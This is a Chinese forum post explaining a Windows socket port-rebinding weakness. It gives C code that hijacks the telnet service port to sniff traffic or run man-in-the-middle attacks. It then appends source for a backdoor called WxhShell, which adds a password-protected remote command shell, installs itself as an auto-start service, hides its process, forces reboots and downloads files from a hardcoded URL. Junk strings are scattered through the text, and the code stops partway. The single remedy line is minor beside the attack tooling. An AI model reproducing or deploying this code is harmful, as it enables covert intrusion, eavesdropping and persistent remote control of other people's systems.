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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: (gU!=F?#m  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); [ /b2=>  
j0aXyLNX  
  saddr.sin_family = AF_INET; y9GoPC`z  
]^7@}Ce_  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); h"Q8b}$^)  
wv1iSfW  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 5m 4P\y^a  
q!7ANib6O  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ]|a g  
,PW'#U:  
  这意味着什么?意味着可以进行如下的攻击: <2x^slx)?  
i$#;Kpb`^  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 O+]ZyHnB  
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  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) KYI/  
TDjm2R~9FS  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 "m8^zg hL  
@n /nH?L  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  'sKk"bi;0  
$( kF#  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 "|q& ea rc  
M"Hf :9Rk  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ZJJY8k `  
"Gzz4D  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 lgy <?LI\  
@Uvz8*b6  
  #include s^9Voi.y  
  #include Y\P8 v  
  #include #p&qUw  
  #include    7Q9 w?y~c  
  DWORD WINAPI ClientThread(LPVOID lpParam);   "+nRGEs6  
  int main() U9 s&  
  {  4e7-0}0  
  WORD wVersionRequested; Iyn(?w  
  DWORD ret; 4E+e}\r:6  
  WSADATA wsaData; bsli0FJSh'  
  BOOL val; V)k4:H  
  SOCKADDR_IN saddr; pYEMmZ?L  
  SOCKADDR_IN scaddr;  7xlkZF  
  int err; Mb}QD~=M  
  SOCKET s; 8kIksy  
  SOCKET sc; 1R%.p7@5QU  
  int caddsize; ML 9' |  
  HANDLE mt; )2o?#8J  
  DWORD tid;   +TL%-On  
  wVersionRequested = MAKEWORD( 2, 2 ); pah'>dAL  
  err = WSAStartup( wVersionRequested, &wsaData ); K@]4g49A/j  
  if ( err != 0 ) { T&bY a`f]  
  printf("error!WSAStartup failed!\n"); Dml;#'IF3  
  return -1; v;{#Q&(  
  } _;y9$"A  
  saddr.sin_family = AF_INET; Gb6'n$g  
   d7 y[0<xM  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 u&vf+6=9Dd  
Hvi49c]]  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); +\]\[6  
  saddr.sin_port = htons(23); jB2[(  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) \V63qg[  
  { g:@#@1rB6  
  printf("error!socket failed!\n"); oZgjQM$YP  
  return -1; _jVN&\A]mC  
  } ^{`exCwM x  
  val = TRUE; q.bSIV|  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 'H>^2C iM  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) :3Ox~o  
  { 4p F*"B  
  printf("error!setsockopt failed!\n"); M|h3Wt~7  
  return -1; ;$|nrwhy  
  } TIDO@NwF  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Wn2NMXK  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 @Nx 9)  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 hn@08t G  
cV6D<,)  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) KV *#T20T  
  { .`eN8Dl1  
  ret=GetLastError(); h[Y1?ln&h  
  printf("error!bind failed!\n"); K\r8g=U  
  return -1; YD6'#(  
  } 7JH6A'&  
  listen(s,2); X+9>A.92  
  while(1) ZLejcYS  
  { ouQ T  
  caddsize = sizeof(scaddr); k4;7<j$ir  
  //接受连接请求 ~36!?&eA8  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); g3y~bf  
  if(sc!=INVALID_SOCKET) q|(HsLs  
  { tyFzSrfc  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ^n z.j  
  if(mt==NULL) n-;`Cy`k  
  { rb.N~  
  printf("Thread Creat Failed!\n"); n_A3#d<9  
  break; vk^xT  
  } n7[V&`e_  
  } ?fSG'\h>  
  CloseHandle(mt); S,UDezxg  
  } b4kgFA  
  closesocket(s); a1lh-2x X  
  WSACleanup(); T8$y[W-c  
  return 0; kDxFloK  
  }   u6JM]kR  
  DWORD WINAPI ClientThread(LPVOID lpParam) *GPiOA a  
  { Vc Z3 X4/  
  SOCKET ss = (SOCKET)lpParam; #X1ND  
  SOCKET sc; <bWG!ZG  
  unsigned char buf[4096]; TvbE2Q;/UL  
  SOCKADDR_IN saddr; DvvK^+-~  
  long num; ZFL~;_r  
  DWORD val; )y$(AJx$  
  DWORD ret; ON(kt3.h  
  //如果是隐藏端口应用的话,可以在此处加一些判断  qX{+oy5  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   F JyT+  
  saddr.sin_family = AF_INET; q_58;Bv  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); (!WD1w   
  saddr.sin_port = htons(23); nNn :-  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) kffcm/  
  { e\L8oOk#r  
  printf("error!socket failed!\n"); z Iu'[U  
  return -1; )SGq[B6@I  
  } }|=|s f  
  val = 100; rx|pOz,:  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 4V`G,W4^J  
  { G"t5nHY\.  
  ret = GetLastError(); a:w#s}bL  
  return -1; j#ab_3xH  
  } ` Sz}`+E  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) G 3ptx! D  
  { NgPk&niM  
  ret = GetLastError(); bk[!8- b/a  
  return -1; NzvXN1_%  
  } k<?b(&`J  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) dy[X3jQB  
  { (sZ"iGn%  
  printf("error!socket connect failed!\n"); (4nq>;$3  
  closesocket(sc); #H~64/  
  closesocket(ss); FYQS)s  
  return -1; ;2QP7PrSY  
  } T>W,'H  
  while(1) ;$g?T~v7  
  { @r1_U,0e  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 f/?P514h  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 8quaXVj^a  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Z% UP6%  
  num = recv(ss,buf,4096,0); 'I;zJ`Trd  
  if(num>0) $XH^~i;  
  send(sc,buf,num,0); OjA,]Gv6  
  else if(num==0) Q~9^{sHZjP  
  break; 9\(| D#  
  num = recv(sc,buf,4096,0); C3g_! dUs  
  if(num>0) VIf.q)_k  
  send(ss,buf,num,0); ;O,jUiQ  
  else if(num==0) hhvyf^o   
  break; 4*;MJ[|  
  } %?/X=}sE  
  closesocket(ss); I&5!=kR  
  closesocket(sc); m1AJ{cs  
  return 0 ; W(p_.p"  
  } Ow,b^|  
8z\xrY  
j?QDR  
========================================================== J'r^/  
8u]2xB=K  
下边附上一个代码,,WXhSHELL B9S@(/"7  
lyhiFkO iH  
========================================================== "m>81-0  
 Vxt+]5X  
#include "stdafx.h" rytyw77t(  
1o>xEWt:0K  
#include <stdio.h> I]q% 2ie  
#include <string.h> K*dCc}:`  
#include <windows.h> BY*8ri^u  
#include <winsock2.h> 2 yz _  
#include <winsvc.h> 8 Fbo3  
#include <urlmon.h> hi[pVk~B)  
<~=Vg  
#pragma comment (lib, "Ws2_32.lib") Flb&B1  
#pragma comment (lib, "urlmon.lib") xgtR6E^k  
_o~ nr]zx  
#define MAX_USER   100 // 最大客户端连接数 8q7b_Pq1U  
#define BUF_SOCK   200 // sock buffer <gBA1oRz  
#define KEY_BUFF   255 // 输入 buffer <OPArht  
L}NSR  
#define REBOOT     0   // 重启 |4`{]2C  
#define SHUTDOWN   1   // 关机 93hxSRw  
,2ar7 5Va  
#define DEF_PORT   5000 // 监听端口 ddR>7d}N  
C7AUsYM  
#define REG_LEN     16   // 注册表键长度 5F"jk d+  
#define SVC_LEN     80   // NT服务名长度 9N3eN  
d'sZxU  
// 从dll定义API TL#3;l^  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); +"VP-s0  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); )`D:F>p*  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 2J;g{95z  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); SgOheN-  
*8XEYZa  
// wxhshell配置信息 @KAI4LP  
struct WSCFG { #.[k=dj   
  int ws_port;         // 监听端口 3;Fhg!Z O  
  char ws_passstr[REG_LEN]; // 口令 vvOV2n .WD  
  int ws_autoins;       // 安装标记, 1=yes 0=no #e5\j\#.  
  char ws_regname[REG_LEN]; // 注册表键名 T[j,UkgGo  
  char ws_svcname[REG_LEN]; // 服务名 m l$o5&sN  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 k VQ\1!  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 rrv%~giU  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 vfo~27T{(  
int ws_downexe;       // 下载执行标记, 1=yes 0=no rVsJ`+L  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Af{"pzY  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 KK &?gTa  
vr^qWn  
}; 0ZO2#>gh$  
Du){rVY^d  
// default Wxhshell configuration sx<%2  
struct WSCFG wscfg={DEF_PORT, %~S&AE-  
    "xuhuanlingzhe", DlNX 3  
    1, igAtRX%Qx  
    "Wxhshell", _J[P[(ab  
    "Wxhshell", ;A!BVq  
            "WxhShell Service", hR|MEn6KC  
    "Wrsky Windows CmdShell Service", >F&47Yn  
    "Please Input Your Password: ", 1aABzB ^  
  1, wlmRe`R  
  "http://www.wrsky.com/wxhshell.exe", {]|J5Dgfe  
  "Wxhshell.exe" m j@13$=  
    }; dcT80sOC  
*/DO ex"y  
// 消息定义模块 `y* }lg T  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; t&DEb_"De  
char *msg_ws_prompt="\n\r? for help\n\r#>"; jF*j0PkNdb  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 29q _BR *:  
char *msg_ws_ext="\n\rExit."; `@|$,2[C  
char *msg_ws_end="\n\rQuit."; iG?[<1~  
char *msg_ws_boot="\n\rReboot..."; C"enpc_C/  
char *msg_ws_poff="\n\rShutdown..."; 3oG,E;(  
char *msg_ws_down="\n\rSave to "; >yh2Lri  
&iVs0R  
char *msg_ws_err="\n\rErr!"; \D&KC,i5f  
char *msg_ws_ok="\n\rOK!"; RCLeA=/N@0  
C{wEzM :  
char ExeFile[MAX_PATH]; u> / TE  
int nUser = 0; \5cpFj5%  
HANDLE handles[MAX_USER]; wH6aAV~1  
int OsIsNt; A. w:h;7  
5E_YEBO/  
SERVICE_STATUS       serviceStatus; 2dgd~   
SERVICE_STATUS_HANDLE   hServiceStatusHandle; !5?<% *  
*_g$MI  
// 函数声明 YT8F#t8  
int Install(void); dnuu&Rv  
int Uninstall(void); ua `RJ  
int DownloadFile(char *sURL, SOCKET wsh); NW)1#]gg%  
int Boot(int flag); B,fo(kG  
void HideProc(void); FU<Jp3<%  
int GetOsVer(void); XBw)H  
int Wxhshell(SOCKET wsl); f:P}*^ Gw  
void TalkWithClient(void *cs); .XhrCi Z  
int CmdShell(SOCKET sock); %;"y+YFdv  
int StartFromService(void); Ld-_,-n  
int StartWxhshell(LPSTR lpCmdLine); ji,kkipY?w  
RY*U"G0#w  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); qb` \)X]9  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); f'3$9x  
,3 u}x,  
// 数据结构和表定义 O%HHYV%[m  
SERVICE_TABLE_ENTRY DispatchTable[] = ,wdD8ZT'Ip  
{ hwNf~3eJk  
{wscfg.ws_svcname, NTServiceMain}, h3@v+Z<}  
{NULL, NULL} t<?,F  
}; P}`H ~N~  
B^jc3 VsR  
// 自我安装 fa2kG&, _  
int Install(void) |IUWF%~^$+  
{ U|j`e5)  
  char svExeFile[MAX_PATH]; "8zDbdK  
  HKEY key; W'u>#  
  strcpy(svExeFile,ExeFile); vEz"xz1j!]  
ib791  
// 如果是win9x系统,修改注册表设为自启动 xFg>SJ7]  
if(!OsIsNt) { N=g"(%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { SOvF[,+  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `n?DU;,  
  RegCloseKey(key); R .2wqkY  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { t.\dpBq  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8|58 H  
  RegCloseKey(key); YkQd  
  return 0; ^D-/`d  
    } }f7j 8py  
  } |)/aGZ+  
} sds"%]r g  
else { QoH6  
@49S`  
// 如果是NT以上系统,安装为系统服务 KRKCD4  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); d9|<@A  
if (schSCManager!=0) .Rf_Cl  
{ %3''}Y5  
  SC_HANDLE schService = CreateService P J[`|  
  ( 'a.qu9PJ  
  schSCManager, K@w{"7}  
  wscfg.ws_svcname, m/EFHS49  
  wscfg.ws_svcdisp, 4#hSJ(~7S  
  SERVICE_ALL_ACCESS, cDkf qcC  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , dzrio-QU~  
  SERVICE_AUTO_START, t}tEvh  
  SERVICE_ERROR_NORMAL, `&6dnSC},P  
  svExeFile, K8Y=S12Ti  
  NULL, 4)o  
  NULL, h;NYdX5  
  NULL, @bP)406p  
  NULL, i,9)\1R  
  NULL vd4ytC  
  ); PXNh&N  
  if (schService!=0) )q3p-)@kQ  
  { 6<(.4a?  
  CloseServiceHandle(schService); fXQNHZ|4  
  CloseServiceHandle(schSCManager); i&GH/y  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Xh;#  
  strcat(svExeFile,wscfg.ws_svcname); %sQ^.` 2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { e6RPIg  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); C8i^P}y  
  RegCloseKey(key); G+\GaY[  
  return 0; *$ %a:q1U  
    } UByv?KZi  
  } cDH^\-z  
  CloseServiceHandle(schSCManager); ,:\|7F  
} TT3|/zwn  
} W-zP/]Dh  
mF^v~  
return 1; N^:9Fz  
} %&t<K3&Yh  
,7K`[  
// 自我卸载 (qulwOt~w  
int Uninstall(void) sY f~c0${  
{ G {%LB}2  
  HKEY key; fNZ__gO!%  
t |A-9^t'!  
if(!OsIsNt) { 7o5BXF  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { V[vl!XM  
  RegDeleteValue(key,wscfg.ws_regname); s#=7IH30  
  RegCloseKey(key); oIj#>1~c%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]}2ZttQ?  
  RegDeleteValue(key,wscfg.ws_regname); '}bgLv  
  RegCloseKey(key); 3"KCh\\b  
  return 0; y>e.~5;  
  } _[ZO p ~  
} < F+l  
} C/6V9;U  
else { X1vd'>  
w %BL  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); M}v/tRI  
if (schSCManager!=0) |64~ K\X  
{ YcK|.Mq':  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); =h73s0 ]  
  if (schService!=0) F;0}x;:>  
  { s>n)B^64W  
  if(DeleteService(schService)!=0) { Ng>h"H  
  CloseServiceHandle(schService); dQR-H7U  
  CloseServiceHandle(schSCManager); Qhcu>r a  
  return 0; zi*R`;_`,  
  } L.0mk_&  
  CloseServiceHandle(schService); yFlm[K5YD  
  } 9.B KI/  
  CloseServiceHandle(schSCManager); oc0G |  
} A`o8'+`C  
} PGV/ h  
qE3UO<FA  
return 1; oJ|j#+Ft  
} SPmq4  
eb"5- 0  
// 从指定url下载文件 ZlzjVU/E  
int DownloadFile(char *sURL, SOCKET wsh) ptxbDzOz  
{ JKGe"  
  HRESULT hr; Jd^,]  
char seps[]= "/"; GKc`xIQ  
char *token; Qtv&ijFC  
char *file; `W/>XZl+t  
char myURL[MAX_PATH]; &t:Gx<]  
char myFILE[MAX_PATH]; FNY8tv*/x  
b9<#K+L-  
strcpy(myURL,sURL); t$#jL5  
  token=strtok(myURL,seps); vJOw]cwq  
  while(token!=NULL) XtSkh] #z!  
  { uurh??R  
    file=token; !6>~?gNd  
  token=strtok(NULL,seps); Hm'=aff6A  
  } Ob`d  
!AfHk|  
GetCurrentDirectory(MAX_PATH,myFILE); @;?p&.W`D  
strcat(myFILE, "\\"); q0r>2c-d  
strcat(myFILE, file); |kV*Jc k  
  send(wsh,myFILE,strlen(myFILE),0); q6`b26  
send(wsh,"...",3,0); mah JSz(3  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); c?&X?<  
  if(hr==S_OK) $#pP Z  
return 0; KRMQtgahc  
else OCaq3_#tZ  
return 1; TOXfWEU3>  
e)#J1(j_  
} c*L\_Vx+  
iq( E'`d  
// 系统电源模块 EkNunCls  
int Boot(int flag) @? QoF#D  
{ jeH~<t{  
  HANDLE hToken; O% KsD[W;  
  TOKEN_PRIVILEGES tkp; (~wqa 3  
X1-'COQS%&  
  if(OsIsNt) { `q*M4,  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); fnX`Q[b4\A  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 6'G6<8 >-  
    tkp.PrivilegeCount = 1; Jx](G>F4f1  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; .|b$NM  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); K<ft2anY5  
if(flag==REBOOT) { +kO!Xc%P&  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) +:!7L= N#  
  return 0; 27O|).yKX  
} @ H7d_S  
else { F{~{Lthc  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ,UGRrS  
  return 0; %r}{hq4  
} bITPQ7+  
  } KZ ;k)O.Ov  
  else { ,J^b0@S  
if(flag==REBOOT) { "haL  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) dj7hx"BI  
  return 0; 6GSI"M6s  
}  SVs_dG$  
else { 6NM:DI\%  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) !y:v LB#q  
  return 0; ^2on.N q>  
} vZ&T}H~8  
} iwp{%FF  
^l=!JP=M=  
return 1; }v!$dr,j '  
} Vjp1RWb  
*4+"Lh.KS  
// win9x进程隐藏模块 s!&#c`=  
void HideProc(void) {kCw+eXn?  
{ p~^D\jR.  
'H&2HXw&2  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); XJ` ]ga  
  if ( hKernel != NULL ) Z/0fXn})  
  { (SDr!!V<  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); uU <=d  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); _c*=4y  
    FreeLibrary(hKernel); `W:%mJd9  
  } >x+6{^}Q>  
o` ZQd,3  
return; Avd ^  
} UU mTOJr  
dWUm\t'#  
// 获取操作系统版本 O%(fx!c`  
int GetOsVer(void) 'y2nN=CN  
{ PQnF  
  OSVERSIONINFO winfo; !^=*Jq>  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ,dov<U[ia  
  GetVersionEx(&winfo); (-xS?8x$  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) NI#:|}CYS  
  return 1; Y*>#T  
  else =Ja]T~0A  
  return 0; (\a]"g,]v  
} W<$Z=(_v  
Iw&vTU=2  
// 客户端句柄模块 {fF3/tL  
int Wxhshell(SOCKET wsl) k*E\B@W>  
{ {G}.b)9FG  
  SOCKET wsh; 0Lc9M-Lg  
  struct sockaddr_in client; Lz!,kwg  
  DWORD myID; !?p%xj?  
!*m5F8Qm?A  
  while(nUser<MAX_USER) LuSLkLN  
{ %Bn?n{ /  
  int nSize=sizeof(client); V|/NB  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ') gi%  
  if(wsh==INVALID_SOCKET) return 1; o/6-3QUak  
V\6[}J  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ^G.Xc\^w:  
if(handles[nUser]==0) u7[ykyV  
  closesocket(wsh); 9:,\gw>F  
else | e?64%l5P  
  nUser++; 3'qJ/*]9  
  } -/cZeQDPb  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ##;Er47@^  
65p?Igb  
  return 0; #H{<gjs]  
} ( Qcp{q  
2H6,'JK@F  
// 关闭 socket j =WST  
void CloseIt(SOCKET wsh) .0iQad&duh  
{ U.XNv-M  
closesocket(wsh); e~@ [18  
nUser--; 'fF;(?  
ExitThread(0); a /#PLP  
} S<u-n8bv  
=p?WBZT|:  
// 客户端请求句柄 4EZ9hA9+  
void TalkWithClient(void *cs) n9A7K$ZD@  
{ Y"Ql!5=  
->O2I?  
  SOCKET wsh=(SOCKET)cs; #hf ak  
  char pwd[SVC_LEN]; \2}bi:e 6  
  char cmd[KEY_BUFF]; .J.-Mm` .  
char chr[1]; jhu&& ==\f  
int i,j; CkD#/  
;SaX;!`39+  
  while (nUser < MAX_USER) { a{J,~2>  
Eam  
if(wscfg.ws_passstr) { }_;!hdY q  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); g'=B%eO$j:  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); . I'o  
  //ZeroMemory(pwd,KEY_BUFF); c`WHNky%j  
      i=0; R~jHr )0.#  
  while(i<SVC_LEN) { IS[thbzkZ  
./D$dbu3  
  // 设置超时 IlE_@gS8  
  fd_set FdRead; UkHY[M7;  
  struct timeval TimeOut; rEv*)W  
  FD_ZERO(&FdRead); >O?U= OeD  
  FD_SET(wsh,&FdRead); J?}WQLVP'  
  TimeOut.tv_sec=8; 2@~M4YJf  
  TimeOut.tv_usec=0; Z]WnG'3N  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); C,NxE5?h  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); d&u]WVU  
S.Ma$KL~'^  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :ORR_f`>  
  pwd=chr[0]; -gas?^`  
  if(chr[0]==0xd || chr[0]==0xa) { .E&z$N  
  pwd=0; YJ/zU52JK~  
  break; oY|,GvCnK  
  } nJ"YIT1K]p  
  i++; ]%Nlv(  
    } H_Kj7(=&>  
?wF'<kEH  
  // 如果是非法用户,关闭 socket |),'9  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); +sx 8t  
} J}@z_^|"mJ  
VY"9?2?/  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Ra/Ukv_v  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); RJH,  
.8uz 6~  
while(1) { bY2 C]r(n  
G4;3cT3'  
  ZeroMemory(cmd,KEY_BUFF); aKlUX  
;?~$h-9)  
      // 自动支持客户端 telnet标准   |*Yf.-  
  j=0; LIVU^Os.  
  while(j<KEY_BUFF) { -0eq_+oQ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); uy^   
  cmd[j]=chr[0]; V&|Ed  
  if(chr[0]==0xa || chr[0]==0xd) { N2$I}q%  
  cmd[j]=0; c$`4*6  
  break; 7,MS '2nz  
  } 0lsXCr_X  
  j++; ;k86"W  
    } -:9P%jWt  
ww{_c]My  
  // 下载文件 W$o2 7f  
  if(strstr(cmd,"http://")) { NU\ 5{N<  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); #9 fWAF  
  if(DownloadFile(cmd,wsh)) |R@~-Ht  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1 s*.A6EP"  
  else L0]_hxE?  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); rgf#wH%hN  
  } s/e"'Hz  
  else { 6PF8 /@Nh  
Z,;cCxE  
    switch(cmd[0]) { ror|R@;y  
  {(#%N5%  
  // 帮助 Hb(B?!M)  
  case '?': { 16EVl~LN  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0);  6vTo*8D  
    break; ,prF6*g+WE  
  } "ZHtR/;  
  // 安装 \[>9UC%  
  case 'i': { %|l8f>3[  
    if(Install()) %q322->Z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hv$m4,0WB  
    else f8<o8*`7  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {"H2 :-t<  
    break; 1?Aga,~k:a  
    } ph|ZG6:  
  // 卸载 SL&hJs4c'  
  case 'r': {  ,chf~-d  
    if(Uninstall()) dj&}Gedy  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZC 4*{  
    else iH2n.M "  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); m&0"<V!H/B  
    break; l\!-2 T6Y  
    } ]G}B 0u3  
  // 显示 wxhshell 所在路径 's!-80sd  
  case 'p': { ExXM:1 e26  
    char svExeFile[MAX_PATH]; _uu<4c   
    strcpy(svExeFile,"\n\r"); cj|*_}  
      strcat(svExeFile,ExeFile); u%dKig  
        send(wsh,svExeFile,strlen(svExeFile),0); $7Mtt.d6  
    break; >71&]/Rv  
    } & &<9p;E  
  // 重启 o:dR5v  
  case 'b': { i=32KI(%  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); V' 2EPYB  
    if(Boot(REBOOT)) +1Ph<zq"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Lx U={Y0  
    else { 5[9 bWB{  
    closesocket(wsh); X#U MIlU  
    ExitThread(0); sK=}E=  
    } a)! g7u  
    break; [r OaM$3|  
    } zN_:nY>  
  // 关机 mN5 8r"!J  
  case 'd': { t.hm9}UQ  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Vjm_F!S  
    if(Boot(SHUTDOWN)) 5lJ )(|_  
